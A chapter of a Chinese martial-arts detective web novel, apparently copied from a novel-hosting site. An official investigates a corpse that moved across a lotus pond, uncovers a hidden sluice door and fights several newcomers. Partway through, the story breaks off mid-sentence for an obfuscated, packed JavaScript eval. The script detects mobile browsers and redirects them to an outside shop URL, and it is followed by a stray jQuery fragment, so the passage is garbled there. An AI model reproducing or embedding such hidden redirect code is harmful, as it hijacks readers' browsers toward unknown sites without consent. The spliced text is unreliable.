文趣网 > 其他小说 > 带着美强惨将军去探案 > 33. 尸体位移
    赵府后园荷花池

    时值深秋,池水沉碧发暗,一层枯败的荷梗东倒西歪地杵在水面,宽大的叶片早已蜷曲成锈褐色,零落地挂着,偶有一两片折茎的残叶半浸在水中,随波轻晃,划开圈圈无声的涟漪。

    叶知秋伫立在池边,目光扫过水面,问道:“这池水有多深?”

    管事连忙躬身答道:“回大人,这荷花池看着开阔,其实最深处也就六七尺(约2米),寻常处更是只齐成人胸口。老爷就是在此处落水。”他指着叶知秋站立的位置,又指向荷花池对岸,“那里是发现老爷尸身的位置。”

    叶知秋顺着他所指看去,估量了一下池面宽度,约四五丈(约15米)左右,不算极阔。池对岸,一座灰褐色的假山傍水而立,石骨嶙峋,在萧瑟秋景中显得格外突兀沉默。

    “笔录上说,”他遥望着对岸再次开口道,“赵老爷冲入花厅时,发髻尽散,乱发如蓬草般覆面,手舞足蹈,口中发出嗬嗬怪叫,直直跳入荷花池内。当时你与数名仆从正在厅内侍宴,见他落水,你们当即追赶出来,甚至有人紧随其后跳入池中试图施救。”

    他微微侧身,正面看向管事:“不过数十步距离,池水最深不过六尺,且天色尚明,你们反应不可谓不速,行动不可谓不果决。然而,笔录接着写道——‘众人入水,四处摸索,竟寻不见老爷踪迹,水面除涟漪外,不见挣扎,亦无人影浮起’。”

    “不过四五丈宽、六七尺深的浅池,一个在你们目视之下入水的大活人,在你们紧随其后跳入的瞬间……消失了?”

    叶知秋的视线牢牢锁住管事面部表情。

    “本官很想知道,是贵府的池水通了幽冥,能顷刻间吞噬一个成年男子?还是你们当时所见所闻,与笔录所载,其实另有隐情?”

    “莫非,”他最后两个字吐得极轻,却重若千钧,“你们当时下水后,搜索得……并不尽心?”

    “大人明鉴!小的们绝不敢怠慢啊!”管事“噗通”一声跪倒在地,脸色惨白,急声辩解,“当时、当时情景确实诡异!老爷冲出去时,我们愣了那么一刹,随即就追了出去,亲眼见他扑进水里,水花溅起老高!府中几个会水的,衣裳都顾不上脱就跟着跳下去了!可是、可是那池水……那池水下面……”

    他回忆起当时情景,脸上浮起困惑与后怕。

    “下面全是枯烂的荷梗和叶子,密密麻麻,缠手绊脚!池水看着沉,底下更是浑浊,搅动起来尽是黑泥!

    后来官府来了人,也一起在水里搜寻,四周都探遍了,就是摸不到人!老爷他就跟沉进无底洞似的,眨眼就没了!后来天色太黑,无法打捞,众人才作罢。

    一大清早夫人又催促下人打捞,在对岸,对岸的枯荷堆里,瞧见飘在水面的紫袍,这才找到老爷的尸身……”

    管事的声音因激动和恐惧而发抖,这番说辞与县衙笔录基本吻合,细节也更为生动,听起来不似作伪。

    叶知秋静静听着,目光再次投向那看似平静的池面——枯荷凌乱,水下盘根错节,确有可能形成视觉盲区与障碍。但一个刚落水的人,即便被荷梗缠绕,又怎会毫无挣扎迹象,且迅速从入水点彻底消失,直到几个时辰后才出现在遥远的对岸?这一点,他实在无法想透。

    他沿着池边缓步而行,目光锐利地扫过沿岸的每一寸土地、每一块石头,最终走到了管事口中最终捞起赵老爷尸身的地方。

    此处地面一片狼藉,原本的草地被踩得泥泞不堪,布满深深浅浅、杂乱无章的脚印,显然是日前众人慌乱打捞时留下的。泥水中还混杂着折断的枯枝和凌乱的拖痕。

    他脑中思绪纷繁,许多碎片不停闪过,却始终拼凑不出清晰的头绪。不觉间已踱步至那座傍水的假山旁。

    一丛浓密的常春藤自假山顶上披挂而下,本该严严实实地覆盖着下方紧贴水面的嶙峋石基。然而,就在叶知秋目光扫过的刹那,他敏锐地察觉到——那藤蔓之中,竟有一大片被人生生扯断,凌乱地耷拉在一边,露出其后深色的石壁,痕迹犹新。

    他心念一动,伸手拨开那些尚且勾连的藤草。

    一扇厚重、锈迹斑斑的铁门,赫然嵌在石基之中!门扉紧闭,但门上那把本该牢牢锁死的硕大铜锁,竟已被打开,锈蚀的锁梁松垮地挂在门环上!

    暗渠?!他鬼使神差的伸手,想要去拉开那虚掩的铁门——

    “吱呀”一声。

    铁门却从内向外推开了,一张脸随即从门后探了进来。

    短发,眉眼清亮,带着一丝谨慎与探究,正是顾桢。

    两人隔着一道半开的铁门,四目相对。

    空气仿佛在刹那间凝固了,叶知秋眼中掠过一丝错愕,随即被更深沉的审视与冷意覆盖。

    顾桢也显然没料到门内有人,顿时愣住了。她没有躲避,反而极其自然地抬手,对着门内面色冷峻的叶知秋打了个手势:“嗨。”

    随后她便从那铁门里利落钻了出来,站在叶知秋面前几步之外的地上,平静淡然,甚至脸上还有些被你发现了的不好意思。

    这绝非普通女子应有的反应。寻常人听闻诡事,或惧怕,或猎奇议论,谁会如此精准地找到这隐藏在假山后的暗渠入口,来到这案发现场?

    这女子,绝不简单!心念电转间,叶知秋已做出决断。

    他毫无预兆地出手,右手如电,径直抓向顾桢左肩肩井穴所在,五指微曲,隐含劲力,封住了她侧闪和后退的常规角度。

    然而顾桢的反应比他预想的更快、更怪。她并未如常人般后仰或格挡,反而顺着他的来势微微沉肩,同时左手以一种他前所未见的刁钻角度自下而上翻起,并非硬碰,却如灵蛇般精准地搭在了他右手腕脉门下方三寸之处,手指一扣一压。

    叶知秋只觉右小臂一阵酸麻,前探之力竟被这轻巧一扣带偏了几分。他心下微凛,变招极快,左掌已悄无声息拍向她肋下空档。

    顾桢似乎早有所料,在他左肩微动的瞬间,整个人已如游鱼般向他怀中撞进半步!这不是闪避,更像是近身缠斗的主动切入。

    叶知秋的左掌顿时拍空,而她已切入他胸前空门,右手闪电般自他腋下穿过,向上反扣,左手同时下压他因右臂酸麻而来不及完全收回的手臂。

    下一瞬,叶知秋只觉一股完全不同于内家巧劲、也非外家硬功的、极为干脆猛烈的力道从他肩、肘、腕多处关节同时爆发、拧转、锁定!

    “喀”的一声轻响,是关节被锁死的脆响。

    他的身躯竟被这股诡异力道带得向前一倾,随即感到右臂被反拧至背后,一股沉重的压力自颈侧和肩胛传来,迫使他不得不弯下腰去。顾桢的膝盖不知何时已顶在了他后腰命门附近,她的整个身体仿佛化作了一套精密的锁具,将他右臂、肩颈、腰背的力量完全锁死,动弹不得。

    (警察擒拿术——别臂压颈跪肋控制)

    叶知秋心中巨震。他试图沉腰发力挣脱,却惊觉扣住自己的力道并非集中于一点,而是均匀分布于数个关键的关节和发力点上,形成了一种他从未见过的、极度高效的力学封锁。

    他一身不弱的内外功夫,此刻竟有种浑不受力、挣脱无门的滞涩感。这女子的招式……毫无江湖套路的花哨,每一个动作都简洁、直接、致命,只为“控制”与“制服”,效率高得可怕。

    “我只是好奇这案子。”顾桢语气无奈又坦然,“叶大人如果介意,我立刻离开。”

    话音未落,叶知秋只觉周身压力骤然一松,顾桢已干脆利落地撤劲收手,向后退开两步,平静地看着他。

    叶知秋缓缓直起身,右臂被反拧的关节处传来一阵酸胀。他凝视着顾桢,这女子诡异莫测、效率惊人的制敌手法,彻底点燃了他身为武者的好胜心。

    “好奇?”叶知秋缓缓活动了一下手腕,声音透着一股被激起斗志的锐气,“你这身手,倒是让本官更好奇。再来!”

    最后二字吐出,他身形已动!这一次,不再是试探性的擒拿,而是将顾桢视为真正需要全力应对的对手。他步法迅捷如风,右手并指如戟,指尖破风之声尖利,显然已动真格。

    “顾姑娘!闪开!”

    突然,一声清脆急促的少年呼喝,自侧上方

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703492|204833||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    院墙处骤然炸响!

    顾桢脸色微变,朝着呼声来处急喝:“长生!不要伤他!

    “咻——!”

    一道极其轻微的、仿佛撕裂布帛又快上数倍的破空声,几乎与她的喊声同步响起!

    电光石火之间,叶知秋只觉一股锐利至极的寒意贴着自己右肩外侧的官袍掠过,甚至能感觉到那冰冷的锋芒划开空气带来的微弱气流,他甚至来不及做出完整的闪避动作。

    “噗”的一声闷响,紧随其后。

    一支箭矢擦着他的肩膀射过,深深钉入了他身后半步处的假山石中,箭尾兀自高频颤动着,发出低沉的“嗡”鸣。

    箭矢射入石体的瞬间,崩溅起数点细碎的石屑和火星,噼啪迸射在他的侧脸和脖颈上,带来一阵刺痛。

    一切发生在刹那。

    叶知秋保持着左手前探的姿势,动作彻底僵住。半晌他才缓缓转过头,目光落在那支钉入山石、尾羽仍在微颤的黑箭上,瞳孔骤然收缩。

    快!太快了!而且声音极小,劲力却强得离谱!寻常弓箭绝无此等速度和贯穿力!

    他压下心头瞬间翻涌的惊涛骇浪,强迫自己冷静,伸出右手,握住了那支黑箭的箭杆。触手冰凉,质地非木非竹,是一种他从未感受过的坚韧与轻巧。他用力一拔,箭矢应手而出,山石上留下一个深深的小孔。

    他将箭举到眼前,仔细审视。通体黝黑,箭镞形状奇特,尾羽是某种薄而韧的异质材料。这绝不是军中制式,甚至……不像是他所知的任何地方能造出的弓箭。

    他缓缓抬眼,目光如冷电般射向高墙,一个手握着与那箭矢一般无二的黑色、形制奇诡的短弓少年正立在墙头,眼神锐利如鹰,正紧紧盯着自己,满是警惕。方才那惊世骇俗的一箭,显然便是出自他手。

    突然受到一箭危胁,惹的他怒从心起。他双脚在地上猛地一蹬,身形如离弦之箭,直扑向院墙之上的少年!这一扑疾如流星,几丈距离眨眼即至。

    长生显然没料到他竟会突然直奔自己而来,且来势如此凶猛。他本能地想要举弓,但叶知秋身法太快,攀墙上掠之势如猿猴般敏捷,右手成爪,已然凌空抓向他手中那柄漆黑短弓——这弓太过奇特,必须拿到手细查!

    长生箭法了得,但这般电光石火间的近身搏杀,他与叶知秋这等真正的高手相比,终究差的太远。眼看那凌厉的五指已裹挟劲风袭至面前……

    “呜——!”一道沉闷的破空厉啸骤然响起。一根硬木长棍,后发先至,精准无比地从叶知秋与孟长生之间那不足尺许的缝隙一穿而过!深深插入两人身旁泥地中,棍身兀自剧烈颤动。

    与此同时,一道沉浑冷冽、不怒自威的喝声,仿佛贴着那破空之声的尾巴,沉沉响起:“叶知秋!”

    叶知秋霍然扭头,循声望去。

    只见那墙头上,不知何时已静静立着五道身影。

    为首一人,正立于那段高墙的脊兽之旁,正是霍霆昭。

    在他身后略低处,还有四人无声肃立,其中两人立于墙脊,两人则站在墙内相连的屋顶檐角,彼此站位错落,却隐隐形成一个便于策应、可攻可守的简单阵势。四人目光沉静锐利,气息内敛,虽未动,但那股默契森然的剽悍之气,已悄然笼罩了下方这一隅天地。

    “霍霆昭。”“将军!”两道声音几乎同时响起,打破了凝固的气氛。

    孟长生眼睛发亮,攥紧了弓,那声“将军”喊得满是自豪。

    顾桢在听到那道沉稳声线的瞬间就转过了头。目光撞上墙头身影的刹那,她嘴角一弯,一个大大的笑容自然而然绽开,眉梢眼角那点因对峙而生的清冷锐气,瞬间融成了明快的笑意。

    “你来了。”她声音轻快的说道。

    霍霆昭垂眸望向她。

    目光落上她仰起的面庞,带着秋日午后和煦的暖意。

    他神色依旧冷峻淡漠,可仔细看去,那素来冷硬利落的下颌与眉眼轮廓,在撞上她毫无遮掩的笑意时,悄然柔和了几分。

    他一言未发,只是那样静静地看了她片刻。然后,轻轻点了一下头。